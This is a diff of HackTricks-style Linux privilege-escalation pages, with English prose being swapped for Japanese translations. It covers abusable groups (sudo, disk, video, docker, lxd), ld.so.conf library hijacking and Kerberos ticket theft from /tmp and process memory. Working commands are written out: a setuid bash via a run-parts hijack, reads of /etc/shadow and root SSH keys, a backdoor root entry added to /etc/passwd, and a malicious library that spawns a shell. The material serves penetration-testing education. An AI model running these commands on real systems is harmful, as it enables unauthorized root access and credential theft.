"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
]
```
{{#include ../../../banners/hacktricks-training.md}}

16
src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md
View File

@ -4,27 +4,27 @@
## What is Distroless
A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components.
Distrolessコンテナは、**特定のアプリケーションを実行するために必要な依存関係のみを含む**コンテナの一種であり、必要のない追加のソフトウェアやツールは含まれていません。これらのコンテナは、**軽量**で**安全**であることを目的としており、不要なコンポーネントを削除することで**攻撃面を最小限に抑える**ことを目指しています。
Distroless containers are often used in **production environments where security and reliability are paramount**.
Distrolessコンテナは、**セキュリティと信頼性が最も重要な**プロダクション環境でよく使用されます。
Some **examples** of **distroless containers** are:
**Distrolessコンテナのいくつかの例**は次のとおりです：
- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
- **Google**が提供： [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- **Chainguard**が提供： [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Weaponizing Distroless
The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`.
Distrolessコンテナを武器化する目的は、**distrolessによって示される制限**（システム内の一般的なバイナリの欠如）や、**読み取り専用**や**実行不可**といったコンテナに一般的に見られる保護にもかかわらず、**任意のバイナリやペイロードを実行できる**ようにすることです。
### Through memory
Coming at some point of 2023...
2023年のある時点で...
### Via Existing binaries
#### openssl
\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container.
\***\*[**この投稿では、**](https://www.form3.tech/engineering/content/exploiting-distroless-images) バイナリ **`openssl`** がこれらのコンテナに頻繁に見られることが説明されており、これはコンテナ内で実行されるソフトウェアに**必要とされる**可能性があります。
{{#include ../../../banners/hacktricks-training.md}}

136
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
View File

@ -1,13 +1,12 @@
# Interesting Groups - Linux Privesc
# 興味深いグループ - Linux Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/Admin Groups
## Sudo/Admin グループ
### **PE - Method 1**
**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines:
### **PE - メソッド 1**
**時々**、**デフォルトで（またはいくつかのソフトウェアが必要とするために）** **/etc/sudoers** ファイル内にこれらの行のいくつかを見つけることができます：
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -15,48 +14,36 @@
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
これは、**sudoまたはadminグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。
This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
この場合、**rootになるには次のように実行するだけです**:
```
sudo su
```
### PE - Method 2
Find all suid binaries and check if there is the binary **Pkexec**:
すべてのsuidバイナリを見つけ、バイナリ**Pkexec**があるかどうかを確認します:
```bash
find / -perm -4000 2>/dev/null
```
If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\
This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with:
バイナリ **pkexec が SUID バイナリ** であり、あなたが **sudo** または **admin** に属している場合、`pkexec` を使用して sudo としてバイナリを実行できる可能性があります。\
これは通常、これらが **polkit ポリシー** 内のグループであるためです。このポリシーは基本的にどのグループが `pkexec` を使用できるかを特定します。次のコマンドで確認してください:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxディストリビューションでは、**sudo**および**admin**グループが表示されるかを見つけることができます。
There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear.
To **become root you can execute**:
**rootになるには、次のコマンドを実行できます**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
If you try to execute **pkexec** and you get this **error**:
**pkexec**を実行しようとしたときにこの**エラー**が表示される場合：
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
**権限がないからではなく、GUIなしで接続されていないからです**。この問題の回避策はここにあります: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。**2つの異なるsshセッション**が必要です:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
## Wheel Group
**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
**時々**、**デフォルトで** **/etc/sudoers** ファイル内にこの行を見つけることができます:
```
%wheel ALL=(ALL:ALL) ALL
```
これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。
This means that **any user that belongs to the group wheel can execute anything as sudo**.
If this is the case, to **become root you can just execute**:
この場合、**rootになるには、単に次を実行すればよい**:
```
sudo su
```
## Shadow Group
Users from the **group shadow** can **read** the **/etc/shadow** file:
**shadow** グループのユーザーは **/etc/shadow** ファイルを **読み取る** ことができます:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
なので、ファイルを読み、**ハッシュをいくつかクラック**してみてください。
So, read the file and try to **crack some hashes**.
## スタッフグループ
## Staff Group
**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups)
In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not.
**staff**: ユーザーがルート権限を必要とせずにシステムにローカルな変更を加えることを許可します（`/usr/local`）。 `/usr/local/bin`内の実行可能ファイルは、すべてのユーザーのPATH変数に含まれており、同じ名前の`/bin`および`/usr/bin`内の実行可能ファイルを「上書き」する可能性があります。 監視/セキュリティに関連する「adm」グループと比較してください。 [\[source\]](https://wiki.debian.org/SystemGroups)
debianディストリビューションでは、`$PATH`変数は、特権ユーザーであろうとなかろうと、`/usr/local/`が最優先で実行されることを示しています。
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -107,11 +86,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
`/usr/local`にあるいくつかのプログラムをハイジャックできれば、簡単にrootを取得できます。
If we can hijack some programs in `/usr/local`, we can easy to get root.
Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login).
`run-parts`プログラムをハイジャックすることは、rootを取得する簡単な方法です。なぜなら、ほとんどのプログラムは`run-parts`を実行するからです（crontabやSSHログイン時など）。
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
or When a new ssh session login.
または新しいsshセッションにログインしたとき。
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -134,9 +109,7 @@ $ pspy64
2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash
```
**Exploit**
**エクスプロイト**
```bash
# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
@ -155,13 +128,11 @@ $ ls -la /bin/bash
# 0x5 root it
$ /bin/bash -p
```
## ディスクグループ
## Disk Group
This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
Files:`/dev/sd[a-z][1-9]`
この特権はほぼ**ルートアクセスと同等**であり、マシン内のすべてのデータにアクセスできます。
ファイル: `/dev/sd[a-z][1-9]`
```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
@ -170,57 +141,47 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
debugfsを使用すると、**ファイルを書き込む**こともできることに注意してください。たとえば、`/tmp/asd1.txt`を`/tmp/asd2.txt`にコピーするには、次のようにします:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error.
しかし、**rootが所有するファイル**（例えば`/etc/shadow`や`/etc/passwd`）に**書き込もうとすると**、「**Permission denied**」エラーが発生します。
## Video Group
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
コマンド`w`を使用すると、**システムにログインしているユーザー**を見つけることができ、次のような出力が表示されます：
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。
The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**:
**生の画像**を**開く**には、**GIMP**を使用し、**`screen.raw`**ファイルを選択し、ファイルタイプとして**Raw image data**を選択します：
![](<../../../images/image (463).png>)
Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen):
次に、幅と高さを画面で使用されているものに変更し、異なる画像タイプを確認して（画面をより良く表示するものを選択します）：
![](<../../../images/image (317).png>)
## Root Group
It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
**Check which files root members can modify**:
デフォルトでは、**rootグループのメンバー**は、**サービス**の設定ファイルや**ライブラリ**ファイル、または特権昇格に使用できる**他の興味深いもの**を**変更**するアクセス権を持っているようです...
**rootメンバーが変更できるファイルを確認する**：
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Dockerグループ
## Docker Group
You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
ホストマシンの**ルートファイルシステムをインスタンスのボリュームにマウント**できます。これにより、インスタンスが起動するとすぐにそのボリュームに`chroot`がロードされます。これにより、実質的にマシン上でルート権限を得ることができます。
```bash
docker image #Get images from the docker service
@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here:
最後に、以前の提案が気に入らない場合や、何らかの理由で機能しない場合（docker api firewall？）、ここで説明されているように、**特権コンテナを実行してそこから脱出する**ことを試みることができます：
{{#ref}}
../docker-security/
{{#endref}}
If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.**
dockerソケットに書き込み権限がある場合は、[**dockerソケットを悪用して特権を昇格させる方法に関するこの投稿を読んでください**](../#writable-docker-socket)**。**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
## lxc/lxd Group
## lxc/lxd グループ
{{#ref}}
./
{{#endref}}
## Adm Group
## Adm グループ
Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\
Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
通常、**`adm`** グループの**メンバー**は、_ /var/log/_ 内にある**ログ**ファイルを**読む**権限を持っています。\
したがって、このグループ内のユーザーを侵害した場合は、**ログを確認する**べきです。
## Auth group
## Auth グループ
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
OpenBSD内では、**auth** グループは通常、_**/etc/skey**_ および _**/var/db/yubikey**_ フォルダーに書き込むことができます。\
これらの権限は、以下のエクスプロイトを使用して**特権を昇格させる**ために悪用される可能性があります：[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

28
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md
View File

@ -1,15 +1,14 @@
# lxd/lxc Group - Privilege escalation
# lxd/lxc グループ - 特権昇格
{{#include ../../../banners/hacktricks-training.md}}
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
_**lxd**_ **または** _**lxc**_ **グループに属している場合、rootになることができます**
## Exploiting without internet
## インターネットなしでの悪用
### Method 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
### 方法 1
このディストリビューションビルダーをあなたのマシンにインストールできます: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(githubの指示に従ってください):
```bash
sudo su
# Install requirements
@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
```
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:
ファイル **lxd.tar.xz** と **rootfs.squashfs** をアップロードし、イメージをリポジトリに追加してコンテナを作成します:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -51,23 +48,19 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
> [!CAUTION]
> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
> Run **`lxd init`** and **repeat** the previous chunk of commands
Finally you can execute the container and get root:
> このエラー _**Error: No storage pool found. Please create a new storage pool**_\
> **`lxd init`** を実行し、前のコマンドのチャンクを **繰り返してください**
最後に、コンテナを実行してルートを取得できます:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### Method 2
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
Alpineイメージをビルドし、フラグ`security.privileged=true`を使用して起動し、コンテナがホストファイルシステムとrootとして対話するように強制します。
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
```
{{#include ../../../banners/hacktricks-training.md}}

110
src/linux-hardening/privilege-escalation/ld.so.conf-example.md
View File

@ -2,82 +2,71 @@
{{#include ../../banners/hacktricks-training.md}}
## Prepare the environment
## 環境の準備
In the following section you can find the code of the files we are going to use to prepare the environment
次のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます
{{#tabs}}
{{#tab name="sharedvuln.c"}}
```c
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
```
{{#endtab}}
{{#tab name="libcustom.h"}}
```c
#include <stdio.h>
void vuln_func();
```
{{#endtab}}
{{#tab name="libcustom.c"}}
```c
#include <stdio.h>
void vuln_func()
{
puts("Hi");
puts("Hi");
}
```
{{#endtab}}
{{#endtabs}}
1. **Create** those files in your machine in the same folder
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
1. **同じフォルダ**にそのファイルを作成します
2. **ライブラリ**を**コンパイル**します: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. `libcustom.so`を`/usr/lib`に**コピー**します: `sudo cp libcustom.so /usr/lib` (root権限)
4. **実行可能ファイル**を**コンパイル**します: `gcc sharedvuln.c -o sharedvuln -lcustom`
### Check the environment
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
### 環境を確認する
_libcustom.so_が_/usr/lib_から**読み込まれている**ことと、バイナリを**実行**できることを確認します。
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
```
## Exploit
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
このシナリオでは、**誰かが_/etc/ld.so.conf/_内に脆弱なエントリを作成した**と仮定します：
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
**Download and compile** the following code inside that path:
脆弱なフォルダーは _/home/ubuntu/lib_ です（書き込みアクセスがあります）。\
**次のコードをそのパス内でダウンロードしてコンパイル**してください：
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
今、**誤って設定された**パス内に悪意のあるlibcustomライブラリを**作成したので**、**再起動**を待つか、rootユーザーが**`ldconfig`**を実行するのを待つ必要があります（_このバイナリを**sudo**として実行できる場合、または**suidビット**が設定されている場合は、自分で実行できます_）。
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
これが発生したら、**再確認**してください。`sharevuln`実行可能ファイルが`libcustom.so`ライブラリをどこから読み込んでいるかを確認します：
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
ご覧のとおり、**`/home/ubuntu/lib`から読み込んでおり**、ユーザーがそれを実行するとシェルが実行されます：
```c
$ ./sharedvuln
Welcome to my amazing application!
@ -114,40 +99,35 @@ I'm the bad library
$ whoami
ubuntu
```
> [!NOTE]
> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
> この例では特権を昇格させていないことに注意してくださいが、実行されるコマンドを変更し、**rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つことで**特権を昇格させることができます。
### Other misconfigurations - Same vuln
### 他の誤設定 - 同じ脆弱性
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
前の例では、管理者が**`/etc/ld.so.conf.d/`内の設定ファイルに非特権フォルダーを設定した**という誤設定を偽装しました。\
しかし、同じ脆弱性を引き起こす他の誤設定もあります。もし`/etc/ld.so.conf.d`内のいくつかの**設定ファイル**、`/etc/ld.so.conf.d`フォルダー内、または`/etc/ld.so.conf`ファイル内に**書き込み権限**がある場合、同じ脆弱性を設定して悪用することができます。
## Exploit 2
**Suppose you have sudo privileges over `ldconfig`**.\
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
So, lets create the files and folders needed to load "/tmp":
## エクスプロイト 2
**`ldconfig`に対してsudo権限を持っていると仮定します**。\
`ldconfig`に**設定ファイルをどこから読み込むかを指示することができます**。これを利用して`ldconfig`に任意のフォルダーを読み込ませることができます。\
では、"/tmp"を読み込むために必要なファイルとフォルダーを作成しましょう：
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\
And finally, lets load the path and check where is the binary loading the library from:
今、**前のエクスプロイト**で示されたように、**`/tmp`内に悪意のあるライブラリを作成します**。\
最後に、パスをロードして、バイナリがライブラリをどこからロードしているかを確認しましょう：
```bash
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
**ご覧のとおり、`ldconfig`に対するsudo権限を持っていると、同じ脆弱性を悪用できます。**
{{#include ../../banners/hacktricks-training.md}}

76
src/linux-hardening/privilege-escalation/linux-active-directory.md
View File

@ -2,19 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
LinuxマシンはActive Directory環境内に存在することもあります。
A linux machine can also be present inside an Active Directory environment.
AD内のLinuxマシンは、**ファイル内に異なるCCACHEチケットを保存している可能性があります。このチケットは他のKerberosチケットと同様に使用および悪用できます**。これらのチケットを読み取るには、チケットのユーザー所有者であるか、**root**である必要があります。
A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine.
## 列挙
## Enumeration
### LinuxからのAD列挙
### AD enumeration from linux
Linux（またはWindowsのbash）でADにアクセスできる場合、ADを列挙するために[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試すことができます。
If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD.
You can also check the following page to learn **other ways to enumerate AD from linux**:
LinuxからADを列挙する**他の方法**を学ぶために、次のページも確認できます：
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from
### FreeIPA
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in:
FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **Certificate System**を利用し、スマートカードを含む**多要素**認証をサポートしています。Unix認証プロセスのためにSSSDが統合されています。詳細については、以下を参照してください：
{{#ref}}
../freeipa-pentesting.md
{{#endref}}
## Playing with tickets
## チケットの操作
### Pass The Ticket
In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:
このページでは、**Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、これらのCCacheチケット形式をKirbi（Windowsで使用する必要がある形式）に変換する方法と、PTT攻撃を実行する方法を学ぶことができます：
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
{{#endref}}
### CCACHE ticket reuse from /tmp
### /tmpからのCCACHEチケット再利用
CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse.
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
CCACHEファイルは**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに関連する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。
`env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -52,79 +49,62 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE チケットの再利用とキーニング
### CCACHE ticket reuse from keyring
**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.
To configure and use this tool, the steps below are followed:
**プロセスのメモリに保存された Kerberos チケットは抽出可能です**。特に、マシンの ptrace 保護が無効になっている場合（`/proc/sys/kernel/yama/ptrace_scope`）。この目的に役立つツールは [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) にあり、セッションに注入してチケットを `/tmp` にダンプすることで抽出を容易にします。
このツールを設定して使用するには、以下の手順に従います：
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
この手順は、さまざまなセッションに注入を試み、抽出されたチケットを `/tmp` に `__krb_UID.ccache` という命名規則で保存することで成功を示します。
